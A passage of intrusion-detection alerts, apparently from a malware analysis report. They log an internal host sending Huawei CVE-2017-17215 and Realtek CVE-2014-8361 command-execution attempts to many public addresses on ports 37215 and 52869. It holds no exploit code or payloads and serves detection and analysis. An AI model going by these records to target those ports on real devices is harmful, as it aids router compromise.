Source Port:	45026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.163.34.232

Timestamp:	07/20/24-23:10:56.006442
SID:	2829579
Source Port:	41544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.153.57.179

Timestamp:	07/20/24-23:10:49.420934
SID:	2835222
Source Port:	43056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.81.219.59

Timestamp:	07/20/24-23:11:06.706527
SID:	2835222
Source Port:	57998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.231.228.120

Timestamp:	07/20/24-23:10:40.608330
SID:	2835222
Source Port:	33364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.29.61

Timestamp:	07/20/24-23:10:39.473095
SID:	2835222
Source Port:	41832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.171.167.40

Timestamp:	07/20/24-23:11:03.378926
SID:	2835222
Source Port:	34180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 147.97.199.44

Timestamp:	07/20/24-23:10:52.569477
SID:	2829579
Source Port:	34420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 190.79.37.161

Timestamp:	07/20/24-23:10:52.045896
SID:	2027339
Source Port:	60558
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.59.180.251

Timestamp:	07/20/24-23:10:49.342527
SID:	2829579
Source Port:	48432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 195.202.70.255

Timestamp:	07/20/24-23:10:45.384123
SID:	2027339
Source Port:	38530
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.200.3.16

Timestamp:	07/20/24-23:10:40.650979
SID:	2829579
Source Port:	47314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.36.192.103

Timestamp:	07/20/24-23:10:42.280294
SID:	2829579
Source Port:	46344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 154.64.3.25

Timestamp:	07/20/24-23:10:42.619454
SID:	2831300
Source Port:	44628
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 32.52.148.97

Timestamp:	07/20/24-23:10:40.086760
SID:	2025132
Source Port:	58502
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.194.4.69

Timestamp:	07/20/24-23:10:59.057855
SID:	2829579
Source Port:	57998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.94.215.66

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	48774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 153.137.241.70

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	57580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.214.106.14

Timestamp:	07/20/24-23:10:59.067929
SID:	2829579
Source Port:	56832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 133.76.164.119

Timestamp:	07/20/24-23:10:52.006529
SID:	2831300
Source Port:	56106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.89.36.24

Timestamp:	07/20/24-23:10:40.649804
SID:	2835222
Source Port:	48610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.154.95.95

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	49322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 185.140.178.36

Timestamp:	07/20/24-23:10:52.021884
SID:	2027339
Source Port:	51888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 17.198.192.63

Timestamp:	07/20/24-23:10:42.621600
SID:	2027339
Source Port:	48118
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.118.26.249

Timestamp:	07/20/24-23:10:46.795245
SID:	2835222
Source Port:	35728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 66.162.227.137

Timestamp:	07/20/24-23:10:51.915099
SID:	2831300
Source Port:	35636
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 147.15.244.149

Timestamp:	07/20/24-23:11:06.688603
SID:	2829579
Source Port:	49514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.191.203.98

Timestamp:	07/20/24-23:10:59.028826
SID:	2835222
Source Port:	38052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 187.70.196.41

Timestamp:	07/20/24-23:10:51.908570
SID:	2831300
Source Port:	46970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.82.184.104

Timestamp:	07/20/24-23:10:42.255257
SID:	2829579
Source Port:	57680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 177.96.215.245

Timestamp:	07/20/24-23:10:51.969869
SID:	2027339
Source Port:	54518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.106.243.14

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	45790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 213.165.108.246

Timestamp:	07/20/24-23:11:03.378464
SID:	2829579
Source Port:	36650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.134.33.11

Timestamp:	07/20/24-23:10:40.599066
SID:	2835222
Source Port:	44088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 145.210.186.189

Timestamp:	07/20/24-23:10:44.055686
SID:	2027339
Source Port:	58016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.197.53.118

Timestamp:	07/20/24-23:10:39.474284
SID:	2835222
Source Port:	45236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 141.113.230.124

Timestamp:	07/20/24-23:10:51.917508
SID:	2027339
Source Port:	51836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 8.126.91.237

Timestamp:	07/20/24-23:10:39.798748
SID:	2025132
Source Port:	42266
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.115.137.64

Timestamp:	07/20/24-23:10:47.796046
SID:	2027339
Source Port:	41782
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.33.235.116

Timestamp:	07/20/24-23:10:41.231186
SID:	2835222
Source Port:	52666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.126.157.245

Timestamp:	07/20/24-23:10:49.380109
SID:	2835222
Source Port:	39360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 107.109.242.56

Timestamp:	07/20/24-23:11:06.663147
SID:	2829579
Source Port:	40880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.231.169.250

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	42280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.234.208.153

Timestamp:	07/20/24-23:10:52.564314
SID:	2835222
Source Port:	47604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 167.80.147.223

Timestamp:	07/20/24-23:10:51.915099
SID:	2027339
Source Port:	53102
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 114.147.236.150

Timestamp:	07/20/24-23:10:39.068869
SID:	2027339
Source Port:	48142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 125.158.123.72

Timestamp:	07/20/24-23:10:45.535980
SID:	2027339
Source Port:	38130
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 69.210.2.130

Timestamp:	07/20/24-23:10:39.397605
SID:	2027339
Source Port:	56016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 223.235.87.4

Timestamp:	07/20/24-23:10:43.447751
SID:	2025132
Source Port:	40002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.190.120.58

Timestamp:	07/20/24-23:10:59.046417
SID:	2829579
Source Port:	42318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 175.109.109.84

Timestamp:	07/20/24-23:10:39.073690
SID:	2027339
Source Port:	40888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.179.191.34

Timestamp:	07/20/24-23:10:52.549473
SID:	2829579
Source Port:	54892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 60.111.115.239

Timestamp:	07/20/24-23:10:52.016220
SID:	2027339
Source Port:	47002
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.159.196.28

Timestamp:	07/20/24-23:10:59.012071
SID:	2835222
Source Port:	44582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 18.33.239.61

Timestamp:	07/20/24-23:10:47.963364
SID:	2025132
Source Port:	42470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.117.210.59

Timestamp:	07/20/24-23:10:42.266163
SID:	2829579
Source Port:	54950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 136.9.133.29

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	46848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.185.85.92

Timestamp:	07/20/24-23:10:52.581034
SID:	2835222
Source Port:	46262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 63.97.65.81

Timestamp:	07/20/24-23:10:43.104447
SID:	2027339
Source Port:	47516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.169.40.175

Timestamp:	07/20/24-23:10:39.479939
SID:	2829579
Source Port:	43226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 41.19.211.55

Timestamp:	07/20/24-23:10:51.992632
SID:	2027339
Source Port:	36776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 72.244.52.162

Timestamp:	07/20/24-23:10:39.145039
SID:	2027339
Source Port:	42306
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 222.120.170.64

Timestamp:	07/20/24-23:10:47.712896
SID:	2025132
Source Port:	60452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.206.88.10

Timestamp:	07/20/24-23:11:03.378926
SID:	2829579
Source Port:	48338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.226.144.165

Timestamp:	07/20/24-23:11:03.396755
SID:	2829579
Source Port:	40716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 204.13.73.202

Timestamp:	07/20/24-23:10:42.620129
SID:	2027339
Source Port:	43836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.171.62.74

Timestamp:	07/20/24-23:11:06.686627
SID:	2829579
Source Port:	56184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 191.36.218.84

Timestamp:	07/20/24-23:10:51.899861
SID:	2027339
Source Port:	35092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.141.207

Timestamp:	07/20/24-23:11:03.382352
SID:	2829579
Source Port:	51002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.232.236

Timestamp:	07/20/24-23:10:41.220760
SID:	2835222
Source Port:	38648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.216.119.91

Timestamp:	07/20/24-23:10:44.618894
SID:	2027339
Source Port:	57778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.148.32.198

Timestamp:	07/20/24-23:11:03.406798
SID:	2829579
Source Port:	55726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.158.160.210

Timestamp:	07/20/24-23:10:49.348462
SID:	2829579
Source Port:	33832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 48.66.205.87

Timestamp:	07/20/24-23:10:53.215724
SID:	2831300
Source Port:	34926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.40.108.188

Timestamp:	07/20/24-23:11:06.706397
SID:	2835222
Source Port:	60904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.135.201.192

Timestamp:	07/20/24-23:10:49.430121
SID:	2829579
Source Port:	41616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 101.192.211.186

Timestamp:	07/20/24-23:10:42.262762
SID:	2829579
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 178.162.187.51

Timestamp:	07/20/24-23:10:52.029204
SID:	2027339
Source Port:	47918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.115.125.213

Timestamp:	07/20/24-23:10:55.999553
SID:	2835222
Source Port:	55582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.8.92.185

Timestamp:	07/20/24-23:10:42.249913
SID:	2829579
Source Port:	52982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.225.158

Timestamp:	07/20/24-23:10:59.021279
SID:	2829579
Source Port:	51432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.202.153.125

Timestamp:	07/20/24-23:10:39.478846
SID:	2835222
Source Port:	39728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 176.192.203.191

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	41808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 79.14.113.77

Timestamp:	07/20/24-23:10:51.995612
SID:	2831300
Source Port:	38348
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 155.171.90.214

Timestamp:	07/20/24-23:10:51.928255
SID:	2831300
Source Port:	51476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.110.24.110

Timestamp:	07/20/24-23:10:49.402846
SID:	2835222
Source Port:	44152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 111.98.52.15

Timestamp:	07/20/24-23:10:51.992277
SID:	2831300
Source Port:	36950
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.41.120

Timestamp:	07/20/24-23:10:39.438135
SID:	2835222
Source Port:	54780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.197.182.48

Timestamp:	07/20/24-23:10:39.434124
SID:	2835222
Source Port:	45984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.131.11.118

Timestamp:	07/20/24-23:10:49.398416
SID:	2835222
Source Port:	39814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.221.209.38

Timestamp:	07/20/24-23:11:03.352490
SID:	2835222
Source Port:	57358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 96.23.53.208

Timestamp:	07/20/24-23:10:52.546429
SID:	2829579
Source Port:	35648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.149.238.170

Timestamp:	07/20/24-23:10:46.781965
SID:	2835222
Source Port:	48976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 220.171.155.214

Timestamp:	07/20/24-23:10:48.358148
SID:	2027339
Source Port:	52220
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 123.14.61.21

Timestamp:	07/20/24-23:10:51.940106
SID:	2027339
Source Port:	39762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 178.230.194.125

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	55442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.119.27.3

Timestamp:	07/20/24-23:10:52.540929
SID:	2835222
Source Port:	57564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 8.28.61.99

Timestamp:	07/20/24-23:10:39.636519
SID:	2025132
Source Port:	58808
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.226.246.41

Timestamp:	07/20/24-23:10:52.578509
SID:	2829579
Source Port:	53374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 207.249.57.69

Timestamp:	07/20/24-23:10:55.995070
SID:	2829579
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 47.2.9.114

Timestamp:	07/20/24-23:10:48.298335
SID:	2027339
Source Port:	60496
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.154.203.233

Timestamp:	07/20/24-23:10:41.230071
SID:	2829579
Source Port:	35026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

